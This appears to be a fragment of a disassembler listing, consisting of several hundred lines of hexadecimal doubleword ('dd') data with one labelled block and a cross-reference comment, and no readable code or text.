		dd 0D31672Ah, 53FCBC1Fh, 1058B580h, 0B70CA7h, 3EE94DE2h
		dd 42B47C15h, 0ACFE1C0h, 0AFB044h, 30FA2A2Fh, 171DCC12h
		dd 0D795A402h, 0E6B629Ah, 0AE5F5087h, 997C1158h, 0FD876801h
		dd 1F9DB9CBh, 1E2413E4h, 4153AEE2h, 94FF9591h, 89055D7h
		dd 0B48C18ACh, 0A68169h, 85E237E9h, 697B895h, 47380500h
		dd 0D9F14A8Fh, 464C00A4h, 0B49A13C2h, 5C18FEC4h, 1A49120Fh
		dd 3B50A0ECh, 19486FA1h, 17164900h, 7724EEB4h, 5CC3D8AFh
		dd 1B298E15h, 0A1DC6F27h, 957C6C0h, 185CF5F6h, 0FFBC0338h
		dd 0D0BA499Bh, 99069Dh
		dd 4A6A5640h, 0C92A3D5Fh, 0CFABF00h, 86C76C43h,	1206396Bh
		dd 8E8C5880h, 18E6AD3Dh, 61982A34h, 4829B5C0h, 0D67BC0h
		dd 0F776D488h, 73A0E3CEh, 4C6E4D28h, 9BFC791Eh,	130BBE00h
		dd 0BF20221h, 60FB7101h, 6F654B8h, 40799B31h, 0A8E01A46h
		dd 0DE9C490h, 0E3142011h, 0A1293E21h, 5E22C1Ch,	814E8548h
		dd 0BD6A0h, 0C4AF8447h,	0B681638h, 55CC10B4h, 1F390623h
		dd 31802AB2h, 48877C1Ah, 9545921h, 0F600A9E7h, 8DCCAEFFh
		dd 0EA911E00h, 0F4A4F071h, 50F30022h, 1314ACE5h, 551ADAF8h
		dd 0C0A90991h, 0EB90E3A4h, 171CF820h, 2067F7A2h, 77B6C6A4h
		dd 735919C0h, 91891501h, 0C4F90048h, 4D5CE411h,	5E00637Dh
		dd 0F2595BCEh, 7CB37F9Ah, 0F1BC244Ch, 429D44DCh, 8B0C185Ch
		dd 0E7380340h, 0E3BAFACFh, 35A8A070h, 10710611h, 11A0B60Fh
		dd 0E96054B0h, 9F624429h, 8C6B4C4Ch, 2A486909h,	0E4ACC0A0h
		dd 4D02EC8Ah, 0FC73C25Dh, 163C4471h, 20B44A0Ch,	0B9F055D4h
		dd 9F240400h, 3158C72Ch, 419400AFh, 12F7ADB0h, 2D01CB88h
		dd 876A0503h, 88200BA0h, 4E2A3EF1h, 0E5CFB09h, 6AEB2893h
		dd 0F6AF5907h, 84B9DDF2h, 58869C0Ch, 0FAEF2F9h,	0CB3BF552h
		dd 61D64283h, 206E1925h, 81F45310h, 49B300B8h, 0F737FE4Ch
		dd 98037EE5h, 88A7647Fh, 19EB043h, 358600C5h, 87AD9B3Ah
		dd 93020EF6h, 1A3D6120h, 0E466A9h, 3928473Bh, 9D1542BAh
		dd 30D2C938h, 1EAF9A5Dh, 406A0A46h, 0B85525h, 0E06EA54Eh
		dd 5D26129Bh, 0AF452011h, 0D1D77000h, 0F932549h, 14643C62h
		dd 0EB2C4502h, 0CB03AC46h, 173E7F87h, 0C42B82BFh, 0EFE65Ch
		dd 8C4CBCFCh, 0F99969D5h, 0B0D04A24h, 49F31A61h, 9D050072h
		dd 8DE36F64h, 10C04E88h, 3A128EE8h, 9CD48287h, 9B88C10h
		dd 4AB303CEh, 8810080Bh, 5B00F65Eh, 0DBE32946h,	8CD144h
		dd 0C0841E9Ah, 42DE83A8h, 0BFACCD19h, 80327530h, 0A8013600h
		dd 297918F6h, 5D469F10h, 0C3A72580h, 7A00112Fh,	1424EA5Eh
		dd 5099FEBFh, 1B12073h,	0EDCE4C0Fh, 3138342Ch, 0BEC12A14h
		dd 0D5D0E3D7h, 9C78E811h, 75948388h, 0D178036Fh, 0D0620C1Eh
		dd 0D4CB5FDEh, 0A3B4988Fh, 8CED0A2Ch, 8EA0488Dh, 562013ADh
		dd 898FECFEh, 0C3A3B40Eh, 57001E01h, 5878E28Eh,	83F1EF2h
		dd 69540747h, 4137804Bh, 0D74C9167h, 0E8F12E0Ch, 0F19CB4C7h
		dd 11F807DAh, 0E0DFAF76h, 2902DE28h, 0C9A86716h, 848CB907h
		dd 4C11DA00h, 8B45C53h,	1DE8080h, 0BB74E947h, 0F0E5CB1Dh
		dd 95037B80h, 30D7F402h, 7571792Ah, 0EE07F1F7h,	1996E0Eh
		dd 0E7BAAB30h, 0F89881h, 708FA9D4h, 0A8D9486Ah,	805E0D3Dh
		dd 0AF3EE318h, 766B14Ch, 69EA978Ch, 206302CFh, 90B96058h
		dd 9BC03347h, 7AD0C87h,	0A8C3200Bh, 0D80D109Eh,	0B3140F44h
		dd 2C88CA75h, 6A456C9Ah, 94E2D084h, 0E8E5B600h,	75517A66h
		dd 0F23C8400h, 0E679CF1Eh, 6291F67Ch, 0A2C20850h, 96635C41h
		dd 5081AC39h, 907273F1h, 13533600h, 9E0183EEh, 0BC2A5Ch
		dd 604D119h, 0CE26B3h, 0CCC5221h, 8B799AACh, 0AE406C96h
		dd 1CCB4406h, 3ADE15ADh, 4E88FF89h, 60C4B008h, 0EED39CA7h
		dd 735CDD00h, 0D4CEC0F9h, 0E9F50758h, 8EB7510Ch, 0A2B42452h
		dd 0E46F2208h, 12B4B1D6h, 0B770206Eh, 1BB80A26h, 0A470F601h
		dd 51E18A94h, 8E006822h, 83804FAAh, 87799256h, 0F9B0CDEFh
		dd 143312h, 3EB780Fh, 0E02D9144h, 83A7011Bh, 8196F2A4h
		dd 6C4420A0h, 9BB7C08Bh, 18F700BDh, 0C4C71A53h,	6F094733h
		dd 16B68D0h, 0A08C4B32h, 2B88C028h, 95195710h, 0ECA31958h
		dd 0BC006CBFh, 4DF7A6C8h, 28267DDh, 4448B7F8h, 4859EE8Eh
		dd 64091C4h, 0B03BB1E3h, 34F56205h, 5CA2520Dh, 1D1E1420h
		dd 5656186Fh, 8431FC13h, 803C2809h, 42B8CA1Eh, 500D2EE9h
		dd 130E20A4h, 61C390C2h, 87089674h, 0F2BC7E00h,	56BAA98Ch
		dd 8895162Ch, 73900322h, 695C1C13h, 8D8EB4h, 306C2D20h
		dd 94D30373h, 13B354Dh,	38276DF3h, 5CFE6063h, 44009410h
		dd 5EA030E9h, 0E2A00A3h, 5CCBFEA5h, 149C9561h, 0C3E4F480h
		dd 2FB81BCh, 0F05D7B48h, 9CC2D7DEh, 0AC687C10h,	0FAE58089h
		dd 3A80D478h, 0E330FC62h, 802D383Eh, 82341504h,	54FAEh
		dd 9A10436Bh, 896CD155h, 1D795660h, 3CC20C3h, 2D674FD9h
		dd 0BE0D123h, 144474C4h, 38A700E6h, 0D2B27634h,	954B3597h
		dd 0B1C29840h, 9BE63h, 319B1AA9h, 0AC0162EDh, 7ED18100h
		dd 0B48CA24Dh, 6E030116h, 2859C968h, 4CEC6155h,	573DEFB0h
		dd 3F180038h, 2A348150h, 147975C8h, 8483D8CDh, 0D0141125h
		dd 1E8CDE3Dh, 9CC19E4Dh, 4CCB024Fh, 0EC7870h, 0E2479594h
		dd 651D7E59h, 0AA8C8201h, 0E59AC1ACh, 1FA041F0h, 1CD5FE4h
		dd 0B6802062h, 2A43D446h, 2023F324h, 0E4407510h, 1CD98A5Fh
		dd 9B382E00h, 0F4ED78EAh, 0A6F50380h, 2B7E8D09h, 0B444C3E8h
		dd 86A97360h, 0EAE092F3h, 8CEF4922h, 9691A823h,	0F7FC2Ch
		dd 7F787CA0h, 330E0AD9h, 0EFE15C13h, 7B6C60BBh,	0BEEB9A56h
		dd 9F9C23Ch, 9BFFC92Eh,	60AFA710h, 21760802h, 0CD7B0085h
		dd 0DC04ADA4h, 1C9EACF8h, 8EC988h, 2DF55D3Eh, 30A048A1h
		dd 20C33571h, 9144FB3h,	96CCA780h, 6A600DFh, 2A73C162h
		dd 44D07A26h, 0DA000D46h, 0E513044Eh, 5B125Fh, 3BA0AC61h
		dd 8285EC5Eh, 19D6E227h, 0E084EB4h, 3E1A6544h, 614E5BEDh
		dd 7017A964h, 5A00F1F3h, 0D608A4E3h, 36DAAFFh, 5B4520C0h
		dd 149A829Bh, 38B0A044h, 0D93ECA00h, 0F2AF77F1h, 98A30070h
		dd 3508DD26h, 57243210h, 0DF60FCA5h, 7A6BAD2h, 0D37726EDh
		dd 0F085358h, 688A37E1h, 0B2C1140h, 0C3670C04h,	42A0A048h
		dd 173B422h, 0BAC9211Eh, 61A65C6Eh, 72198BC0h, 0D0A86062h
		dd 0B8DFF260h, 0DD271620h, 2889071Bh, 0C22CE4BDh, 0D4E697D0h
		dd 20E7B700h, 0EBADDF42h, 0CCED3EBCh, 5C38315Eh, 0B059C618h
		dd 31CB1D80h, 23873E2h,	2CC90C3Ch, 6842DEEBh, 0C4435C60h
		dd 99FC0131h, 0FAE8AE63h, 480F003Bh, 0D945045h,	6CF05C71h
		dd 1EC0D9C0h, 91897D1Bh, 875A00E4h, 0A8F41A26h,	80C349C9h
		dd 9B06AAB4h, 0FEF50C2Ch, 3E7076C7h, 0D28090B9h, 1B8CFE8h
		dd 392C00DEh, 78F13744h, 157E86D4h, 4802C85Fh, 0E6B6E16Bh
		dd 0F27744B0h, 0DD53130Eh, 493EE043h, 5473A1C4h, 0DB809Bh
		dd 8302F284h, 33166129h, 0BBCFE4Fh, 0D2A7C107h,	908E2776h
		dd 0B08FDD2Ch, 94551301h, 0A771D95Eh, 0FB011080h, 0B170D2AFh
		dd 56D3B301h, 0DF1A9E73h, 0EC82C028h, 0C881BC4Eh, 89AA9AC2h
		dd 0CC4DEDA0h, 32D7B40h, 6CE9579h, 70F80EADh, 3D004380h
		dd 0EBE8CAA6h, 2C6DEA09h, 71C888D0h, 25D906E2h,	406D92h
		dd 16F2CEAAh, 6A4440B9h, 40A4CF23h, 6F3D9647h, 2E94719Ah
		dd 64384FE1h, 73F082B4h, 39867907h, 40649641h, 6D2E8081h
		dd 6A6C5200h, 95C6E636h, 29EC94h, 0C2E55324h, 0AF7E7286h
		dd 7031645Bh, 0F848967Ch, 5C2C5812h, 0EA70F380h, 685BE74Eh
		dd 6EA57822h, 0AE7870h,	0CBEC89B6h, 0E4E8D8Eh, 0CA561317h
		dd 125878h, 0BE461DD1h,	11782A71h, 9BDCC450h, 2DCD2300h
		dd 0B4EF08EBh, 82314B36h, 53204BA0h, 99A37CFh, 0DF9F9360h
		dd 0EC2DA46Eh, 0F18A48Fh, 0C825FC54h, 0BD76C090h, 8428C891h
		dd 65D80100h, 0C2BFABEBh, 0A4981215h, 8AC166Ch,	5A805FE8h
		dd 4008C48Fh, 0AE870048h
		dd 0D3B5B923h, 0CB02D47Dh, 4396CF3h, 0A4E42Bh, 0EDEF8B42h
		dd 0FC022C60h, 0CD43A900h, 0FA4C4692h, 8C1E0762h, 0EFC8A398h
		dd 5215C320h, 4948D114h, 0C8222678h, 0B39B6700h, 500106C4h
		dd 49E408ADh, 8800E0FEh, 42C1C26h, 81007506h, 0A541BB52h
		dd 0C2780DE0h, 0FBBCB311h, 5E85E0F9h, 2D81AA8Dh, 0BDD407DEh
		dd 12500098h, 0A645D71h, 9D7FB8D6h, 7488614Bh, 0CAF70027h
		dd 55210D7Bh, 933913FDh, 5658800Bh, 8F4E79BDh, 0B8A45FD9h
		dd 6C1516F6h, 0FCC82A13h, 89300074h, 0EDA19620h, 16003D76h
		dd 8A56FC6Ch, 256D8FDAh, 9C989326h, 0FA00E7E6h,	82BF4F3Ah
		dd 41E5120h, 0D7C6E026h, 0D4B4A8F1h, 0A39B1638h, 1D533C88h
		dd 45B909EEh, 899679F1h, 2AD4F91Ch, 8D7CB845h, 83070E4h
		dd 9F8C6ECAh, 5F004E64h, 6F5596AFh, 88103A5Ch, 4902D8Eh
		dd 11F5EBDh, 0D7CA488Ch, 98083091h, 1D5E9E60h, 0F1F9527Ah
		dd 0AC712E24h, 57F82359h, 3C410087h, 35AEE881h,	0B600D11Ah
		dd 0F50F6ACDh, 905BD429h, 4B2546E0h, 0E82488h, 8E22EA7h
		dd 25983289h, 5C90954Ah, 1F81BD44h, 0BE5C6Fh, 77743301h
		dd 0C30004C8h, 0A2BF4579h, 4CE19394h, 31D63C52h, 0E4B0D02Ch
		dd 7A322959h, 0F14120DBh, 0EE3E60C4h, 647812C1h, 2B989455h
		dd 0DC82B020h, 37B7006Dh, 33837F5Dh, 0EF01AECEh, 4F793846h
		dd 0D0685CC6h, 0C0935C40h, 27F44D76h, 21008F8Bh, 4C6042DAh
		dd 4C84EAE0h, 0B160F9F7h, 9CCFCEC3h, 2C6CAF00h,	56BCB40Fh
		dd 71B00CDh, 1E09AD75h,	0C406ECDEh, 43105CF1h, 80789939h
		dd 2497E946h, 820089C2h, 8B75A9F2h, 8D1BA3h, 6298019Eh
		dd 419D3012h, 804C9100h, 3449C64Ah, 2A7D00C0h, 603EE238h
		dd 2002C287h, 6B99AF74h, 7C64E056h, 70223A33h, 12009621h
		dd 0EFE659E3h, 2D670145h, 2C39CBA5h, 8C7AFA01h,	0FCB64606h
		dd 115D2Ah, 6B571531h, 6689B4FFh, 0FDF439h, 0CF988D76h
		dd 0EAC0410Bh, 806D5904h, 2ACCC26h, 0FD5FA108h,	0F8E184C0h
		dd 0D9CBB900h, 0FE9DEED0h, 256B032Bh, 0EC206426h, 2DE0B2F2h
		dd 0A766B787h, 38C6D110h, 63271261h, 6F805C10h,	9509E00h
		dd 2784426Dh, 0B441009Fh, 0E411C2E8h, 15741F5Ah, 0EB5C2009h
		dd 0DF1C489Dh, 97448473h, 0FD4005A5h, 0C09E7191h, 82DBD3B5h
		dd 2430E15Ah, 56F45h, 88F136E2h, 56E187C2h, 532BEA00h
		dd 0A28F8CB5h, 8E08196Ah, 2B95B081h, 0DFC96440h, 90FFD8h
		dd 437A3F24h, 53986CEAh, 4B049D00h, 5D3A0187h, 74A70110h
		dd 7675E2B7h, 61DAF91Eh, 2A24022Ch, 3C80B85Eh, 0CFBAEEDh
		dd 28AD174Fh, 3AF46089h, 0F4A22017h, 0F9F42463h, 36D30068h
		dd 0F0C18B7Ch, 61223AFEh, 59F31A0Ch, 6891C321h,	5C025A80h
		dd 13329342h, 0F3E3Dh, 5076B3C7h, 780137FBh, 0B4CC02FCh
		dd 9460408Dh, 28D45C42h, 2E5D0D4h, 297F4AF7h, 80BA4056h
		dd 0ED87816Fh, 3B7BCB6Ch, 0B80E1E39h, 0C90AA5DBh, 7FE900C0h
		dd 0E16F26AFh, 7C0410B9h, 64895F93h, 89FD589Dh,	0B011C647h
		dd 88730830h, 280B1DFEh, 80CABFBAh, 5E4D451Ch, 10710079h
		dd 977A48A3h, 0F10017C5h, 0C215C816h, 58EB8Fh, 265357DCh
		dd 0FD620EDDh, 8D313812h, 0F4088C13h, 0AC09AF0Ch, 6B5FC68h
		dd 9644E0B0h, 2F2F7093h, 0CF5881E0h, 45765B01h,	5AF71738h
		dd 4EEF2430h, 0E7646071h, 9EE40CF5h, 0DDBE3D00h, 0BD990506h
		dd 534C007Ah, 0ECC48287h, 0E300DCBAh, 44F26141h, 2D596F22h
		dd 3CB168D7h, 68402F6Eh, 0E321BC22h, 5ED43C60h,	52A80C0Bh
		dd 6342D04Ch, 0A094530Bh, 0C9957384h, 801438A4h, 0DE5CB5E6h
		dd 3811009Eh, 0D774985h, 8620AB3Eh, 830E1478h, 89618C56h
		dd 0C912C466h, 2AB4713Fh, 9E4D1440h, 5C446932h,	1B004C1Dh
		dd 6AB0E2B8h, 0ACBC6458h, 2BB94081h, 38698967h,	39ADD600h
		dd 0F9148817h, 4DFA6071h, 84F16F3Bh, 0F3A3C4AAh, 102580B6h
		dd 111ED465h, 0E1DD80BBh, 1E5F74FEh, 96D506D0h,	396B72C4h
		dd 900F1822h, 0F1DC800Fh, 0CBBD0355h, 7D769C8Eh, 0AF622824h
		dd 42445D09h, 4654001Ch, 0FEB285Bh, 0D69FFD29h,	786F7680h
		dd 7700ACCDh, 0C6696A06h, 4B0D737Ah, 4AE48872h,	52EC0084h
		dd 0E706B461h, 0B0BCC17Dh, 9B3FC88h, 7C69917Bh,	0C43D89h
		dd 354EDE3Fh, 0F604D66Ch, 2F900078h, 4CCF1967h,	6004895h
		dd 4BE275ACh, 254456EBh, 13D68CADh, 695C1301h, 0E4636439h
		dd 58AECB00h, 8ED5E68Bh, 0B5842400h, 5E88770Ah,	65870033h
		dd 479C2DCBh, 0EE341AD7h, 20CC395Dh, 11A83078h,	0AC6FD104h
		dd 0D7F1C507h, 15F3108h, 0DD2CB538h, 7300B076h,	943FCA56h
		dd 4300A598h, 61BE9960h, 621A84h, 3A55286Eh, 64E4B40Dh
		dd 127F7E00h, 0E4558CAh, 1CF90741h, 97059911h, 8C6BE030h
		dd 8600128Eh, 4DE23797h, 1DA789AFh, 7974D6h, 0FE2D5E43h
		dd 8E008FE0h, 0B1DE4299h, 879028h, 566C26AEh, 8F6138F2h
		dd 88B230D2h, 0D35EAB00h, 8602FBA6h, 56A24D00h,	94F16CE2h
		dd 0A0A450h, 0DC8837FFh, 0E77EC98Fh, 0AA7CCE06h, 0B4080692h
		dd 3C14784h, 0F6A8213Ch, 4D01E311h, 0A4621FBDh,	0F048EC1Ah
		dd 0BE540EE2h, 2C60C594h, 28990D12h, 507B090h, 5A5B9536h
		dd 39D984CEh, 887A80BCh, 4E01A8D7h, 93D425F2h, 306ABD90h
		dd 80FB2B2Ch, 8E244700h, 0ED34F7EAh, 0FC02005Eh, 75A136AFh
		dd 0A3E6A706h, 44822B50h, 0C7105600h, 495D6F74h, 82DD0399h
		dd 5F4DCAF1h, 0E1838C8h, 843B073Dh, 0EACF42AFh,	97005CF2h
		dd 2CD00A43h, 0DA1FD605h, 62009D0Eh, 32B1AC02h,	0A4BE0036h
		dd 8A4F924Ch, 7B1DAA1Eh, 9B03940Ah, 0B36ABA2Bh,	3CE0D841h
		dd 2F9E00B5h, 0F6C2EBACh, 3800BE5Dh, 0A81C14DDh, 0F0E91A9h
		dd 754812BFh, 84E46049h, 24D3220Bh, 77C8C82Bh, 1E0800B9h
		dd 0AB0A2085h, 789C70D6h, 0DC38404Fh, 3D8EDBADh, 32808A11h
		dd 6CF7DE59h, 0A173B785h, 0C2FCD204h, 0E8C98D79h, 0A28ECAC8h
		dd 7CB4C27Ch, 77C8E0E4h, 0AFE6F30Bh, 67F5631Dh,	0CA002C2Ch
		dd 0D75E9441h, 28149588h, 0E044544h, 0FDAC9FF6h, 0E6EF0032h
		dd 38B4B32Fh, 2A91FE1Dh, 0E2C376C0h, 97CBC8A5h,	0E5B94B0h
		dd 4ED03A25h, 8C7C1158h, 0C25A0060h, 0ABFCF31Ch, 0D05D4908h
		dd 0FB560B09h, 4E2D1844h, 245C90FAh, 8ABB0009h,	1434089Dh
		dd 700394EEh, 835866CCh, 0A75EE084h, 2C1FACDh, 0A876E3FEh
		dd 276021F1h, 57F8D99Fh, 74C40812h, 2234F4h, 0E6CB0CBBh
		dd 4BE8A488h, 16EF182Ch, 142EC39Fh, 14B2BC28h, 6EF1A612h
		dd 54F37213h, 33DF0D0Eh, 0BF00A0AFh, 2EB708E0h,	0AE59C40Bh
		dd 8E40806h, 175D1241h,	0F40C223Bh, 72091119h, 4E27004Ch
		dd 334BFF32h, 70091D56h, 625D42BEh, 28520698h, 18AF742Dh
		dd 9501BFF0h, 6F3D5CB0h, 5E26A304h, 0BCB8CCF7h,	62302D80h
		dd 100499Fh, 0F729F53Eh, 0B8880D8h, 0BD5F7DB1h,	4018E484h
		dd 0C97B3F49h, 35A500CDh, 0ED5D87DDh, 0D0E2FC52h, 28CB685Ah
		dd 44A4C820h, 0C640ECB6h, 36AD6Eh, 9C5DA515h, 0DDBFAE4Ah
		dd 8AE248h, 8CC37D06h, 0F0B4858Bh, 0EB8E010Dh, 0F26B324Dh
		dd 0DD137EC4h, 80D2F8B1h, 25A431C4h, 49E0B6FDh,	0D1B4A980h
		dd 8C000C78h, 0F00811ADh, 66127Eh, 0F74415EBh, 2FBCB20Bh
		dd 75C72100h, 0F856FADAh, 0A68D00C9h, 3CDB85B7h, 9F1294CBh
		dd 2009139Bh, 1D585A2Bh, 80C6DC7Ah, 6FB1BE2h, 32001AF0h
		dd 36B54468h, 4A89EBDDh
		dd 0EAB421B6h, 0E37EC0F0h, 0C42D307Fh, 88A865A9h, 94438A29h
		dd 446EA26Dh, 67662458h, 90860072h, 10059602h, 2CB9A903h
		dd 0C9F2C3B6h, 0E4DD7366h, 4C69AEC0h, 0B801487Dh, 0F2BDFB6Bh
		dd 0D099E15Fh, 10C1FF46h, 0A5B47A0Ch, 0C198272Fh, 212488ADh
		dd 885CF6C9h, 8AD73B05h, 0D044B4h, 0C35517ADh, 1523AE60h
		dd 0FD61A400h, 0F61A4D87h, 2F464191h, 840FC27h,	1D837ACh
		dd 39FF4451h, 0ADC942ADh, 0B7D86051h, 9B0F105Ch, 50273271h
		dd 2995064Eh, 1BC33Ch, 5CA733F1h, 37CB8593h, 4838B883h
		dd 5458C2A5h, 0C5BE104h, 2DE63078h, 0B14C1919h,	0E2148958h
		dd 5BCA01D4h, 71C44D55h, 0A17B8A86h, 38C05A7Ah,	0F51A6C75h
		dd 9189E9BEh, 86B9A79h,	818CBC94h, 0D16AFFF1h, 0FA89246Dh
		dd 0BC46D890h, 9E62F707h, 0AD98EA1Ah, 8A179C64h, 0CC003A8Ch
		dd 326A8819h, 0A65F00A8h, 8DA1DC9Dh, 0A300BCECh, 526455CBh
		dd 761AA91Bh, 6024A1F8h, 35D09810h, 0E0572C00h,	0F0BB9FACh
		dd 0EDE6C4h, 0E1FE5C0Bh, 7A031E33h, 0E86D8B2Dh,	0BE0F5DD0h
		dd 0AA9183F4h, 0C03915C2h, 0E0AD899Dh, 0C6E8900Dh, 0F376444Dh
		dd 16F07F48h, 1C88CD6Fh, 9B008695h, 0AE1C45A2h,	3AF183AAh
		dd 0BF00873Dh, 76B52B8Eh, 127C7222h, 97463500h,	0C213D984h
		dd 44CA27FBh, 56152860h, 0CF2F090h, 137C4780h, 0B2135CA9h
		dd 3EF804F4h, 0F8FC8C7Bh, 992A9E80h, 0BE4C9373h, 92F10028h
		dd 7662D977h, 0DC6F2525h, 6309CC5h, 4C3EE28h, 9A73AF2Ch
		dd 802CED71h, 0B6D4CF62h, 0FE0312B8h, 0F704212Fh, 0B8603E57h
		dd 0A4927B47h, 29651484h, 0F2238EEh, 384E000h, 0D909EAE6h
		dd 0A5D0115h, 70E880B9h, 0A4CED2D0h, 1BDC63Ah, 2C62818Ch
		dd 77F45AE2h, 949E3AE9h, 9579AC8Bh, 0F0408059h,	0E7526Ch
		dd 0E2F7607Eh, 0B2C58ADh, 6A4A73EAh, 16F7CDCh, 0FCA60A6Dh
		dd 285E4FACh, 9506A1A4h, 0FCB40840h, 0EB3F043Bh, 0ED17D759h
		dd 68C30420h, 9C8353CDh, 0D8894A81h, 0FE4AF8B4h, 0BC1094h
		dd 0F44C6480h, 0B80143DCh, 888B64Bh, 13F868DDh,	95484B8Ch
		dd 1C60A4FCh, 76ACB788h, 3EE777A2h, 1D7D92F7h, 401ED952h
		dd 36F4E48h, 0F10006B2h, 8C68561Ah, 0EF4239Fh, 6EE26ABBh
		dd 0B02D0347h, 0D554804Ch, 2E768FEAh, 0CAAC6000h, 0D99A6121h
		dd 2C9B00AEh, 652A4392h, 1A134F39h, 282871E9h, 46AB074Ch
		dd 30AC6192h, 671E9F7Bh, 27A52C00h, 34DB1ADDh, 0F14F00ADh
		dd 0A6834201h, 84785F2Dh, 6F4D8C07h, 9C217114h,	0FBD8DCF2h
		dd 6310C011h, 2B052D53h, 0A500C0A4h, 8CC82A16h,	16B33E6h
		dd 81DC38Eh, 24B88B7Dh,	0C89489ECh, 0C16D780h, 4EE4953Eh
		dd 0A0988858h, 0C8761C00h, 0D98F233h, 2CEA007Ch, 0DCADFA60h
		dd 5100CB2Fh, 14A7688Fh, 48C40556h, 0D8806073h,	0B7B62801h
		dd 896DD03Ah, 0D8459B1Ah, 384E4580h, 53A20B08h,	5CEC8266h
		dd 5B208BF9h, 80B4A94Ch, 0B13EDCEBh, 8C5FE7EFh,	44CE4488h
		dd 7B42D648h, 40001322h, 5BBEA5AEh, 31BEF8Eh, 0C9B09DC2h
		dd 0B6248983h, 0BF80E8C5h, 8B7B301Dh, 4494A424h, 77058154h
		dd 61389F5Ch, 1721A808h, 3A64E340h, 4FE4054Ch, 3C80A8A0h
		dd 58C274F7h, 118868CBh, 32444A5h, 94CCB353h, 47A82ECAh
		dd 0F201E5B9h, 7C6D5BC8h, 61B9908Bh, 3E4C997Ah,	6434942Ch
		dd 518720CAh, 21CF316Fh, 0E127CB11h, 7C1041E1h,	6584338Eh
		dd 0AC824DB0h, 9049026Dh, 0C4A00809h, 0D864F364h, 0D48AAD7Ch
		dd 0EDB46420h, 0B9007774h, 4A899B82h, 4A4C66F1h, 84072E2h
		dd 0C042CC4h, 268DD08Fh, 0FA8050E8h, 0F6D679E9h, 2D01CB00h
		dd 30D77758h, 141B39B2h, 58F2A80h, 475545A0h, 694F7D01h
		dd 7722F254h, 9AABF4h, 3F07B78Ch, 0CF6EE782h, 0D420D54Ah
		dd 5CB45AA8h, 4C0788D9h, 0CF9C0895h, 9E390A00h,	0D0265D5Ch
		dd 0E9B460h, 0CD919F00h, 0E22201F5h, 8253CF4Eh,	0B697F0A5h
		dd 0EE04E7F0h, 12613CCAh, 100F8B2h, 6BB3EC4Ah, 0F71C6231h
		dd 3AC27AF4h, 5A35B4EDh, 0FFC92680h, 60104A94h,	3583B3Ah
		dd 0AF6E2E00h, 0F929DAEAh, 0DCE509E8h, 0E4180D97h, 260113A7h
		dd 4FC67C2h, 123E1F5Fh,	98C496BCh, 6F459600h, 0C3764B10h
		dd 444A00CCh, 30C61509h, 2C3ECB9Bh, 85040FB3h, 2DB1803Ah
		dd 1D032DDh, 13B2FD59h,	6322E0ACh, 75B41A3Ch, 8E8054A9h
		dd 88934FF5h, 0F00341Ch, 0C261C610h, 0B7C4CCh, 0C7278AA8h
		dd 26ED11CBh, 97432E0Fh, 967CC272h, 0F250A075h,	1A601D46h
		dd 51DF1ABBh, 94CB4C40h, 0CAA6F43Eh, 4A7974C0h,	45C1CB3h
		dd 0F25D12DEh, 0EEBF1AC0h, 0F1F87490h, 43B84CA7h, 0F49EBD00h
		dd 87E729C0h, 9FA90CD3h, 0F1213E48h, 0CD660D1Dh, 0B54662C0h
		dd 0C26835E0h, 0EB1AA211h, 8C84C892h, 0FD274309h, 6A68D9D6h
		dd 2042F052h, 24F4347Bh, 13F1B00h, 2262C94Bh, 0E5EAD5h
		dd 9D60F8B6h, 9213907h,	648C8900h, 52F7BA99h, 0C1575AE2h
		dd 0F84C8E90h, 5000C64Eh, 9E379446h, 0C92B71h, 0AF6F360Eh
		dd 9A7C6B78h, 0F75EA009h, 985A73h, 83D957DFh, 7E756421h
		dd 0CD239600h, 35C70F70h, 0D1D0020Bh, 7D48F93Eh, 0FF8B1C5Ch
		dd 7CC4CCh, 84FECF3Dh, 0F8CB9DA0h, 2C41102h, 0FE2BFD04h
		dd 6A058040h, 813DD612h, 0E374CD00h, 3CD43043h,	18ECFDBEh
		dd 981C04A9h, 0C3850279h, 5C907834h, 5F07CC7Dh,	2F6BB08Fh
		dd 50131A07h, 0FEB809A2h, 287BA13Eh, 306C8C9Ch,	0CAB8D443h
		dd 5E34C8FEh, 1A37133Dh, 823024ECh, 0ED110D74h,	8D428D2h
		dd 27133C1Ch, 324B4830h, 0D0C40148h, 0DBAD5A7Fh, 15847042h
		dd 0A565C705h, 0B4F8A677h, 0F6B0404Ch, 15001F1Ch, 423BE79h
		dd 0EE8FBD6h, 0B1FF1006h, 6FE9A46Ch, 1C74A780h,	0FDC68256h
		dd 0D8BA9B00h, 8CD72763h, 20946600h, 236AF7A0h,	80D8B126h
		dd 10874236h, 0B4FA8417h, 6629591Dh, 0F6C0AC02h, 11D45660h
		dd 5E2781FCh, 0FC21A6FDh, 7D804C2Ch, 185B3C56h,	0F3DF3202h
		dd 0F8CD2F9Ch, 98BCE4h,	4DE6ECBFh, 6BE76C95h, 0CB73C30h
		dd 96980FFBh, 1447B679h, 58D27075h, 0BE7001BCh,	1A1F4D09h
		dd 27465EEh, 7080A406h,	223A0E60h, 36122002h, 0D677738Eh
		dd 42C004E4h, 87ACFCCFh, 18CBF41Ah, 1AF32C50h, 98416F06h
		dd 64F6EC02h, 0CCC5C24h, 0CEEC0CC4h, 7C28992Bh,	49608933h
		dd 0C056A059h, 0EB642509h, 4F008C4Ch, 1C0C3A29h, 29E47E1Ah
		dd 603140h, 6FC413DBh, 5D016561h, 0FE40A1A8h, 0B4C369C9h
		dd 635AA090h
dword_4F0044	dd 4E9024E1h, 40734430h, 519F308Ch, 697D001Dh, 5E1F1A88h
					; DATA XREF: ___:0042CC8Co
		dd 0E00BE71h, 21D599DEh, 13C2E2F9h, 41F207F4h, 7C641770h
		dd 0A7F02892h, 59B7EBE0h, 0CBEA03B8h, 0A61A2E20h, 9022C6DBh
		dd 748397C5h, 4811AB57h, 0B4727391h, 0C40A6074h, 0B89AB5CEh
		dd 26B2EC13h, 0E3A0BC40h, 78FD5A1Eh, 89924EC2h,	3626F0B8h
		dd 0DA01D7F6h, 3A90A08Ch, 60491FA8h, 20498002h,	0BE11EAA3h
		dd 67FA7B06h, 1360DB7Dh, 0A4F6C188h, 0D21FB5C8h, 0AB0C7B45h
		dd 4EEDC8C2h, 0AC689C49h, 4721FF0Ah, 10009EC1h,	2CD75E19h
		dd 83B0E9h, 0A7A3C901h,	29AF05ADh, 0F12048C2h, 0F4890570h
		dd 44E0FB8Ch, 5D96B104h, 0CC0D84Fh, 4B55FF70h, 3C8C2091h
		dd 8F00E1C3h, 0B081EDEAh, 4804D6ECh, 470F2C2Fh,	0D3E540FFh
		dd 0D8F2C0h, 29FD7CBh, 90A614F1h, 0BEA70237h, 7CB906D1h
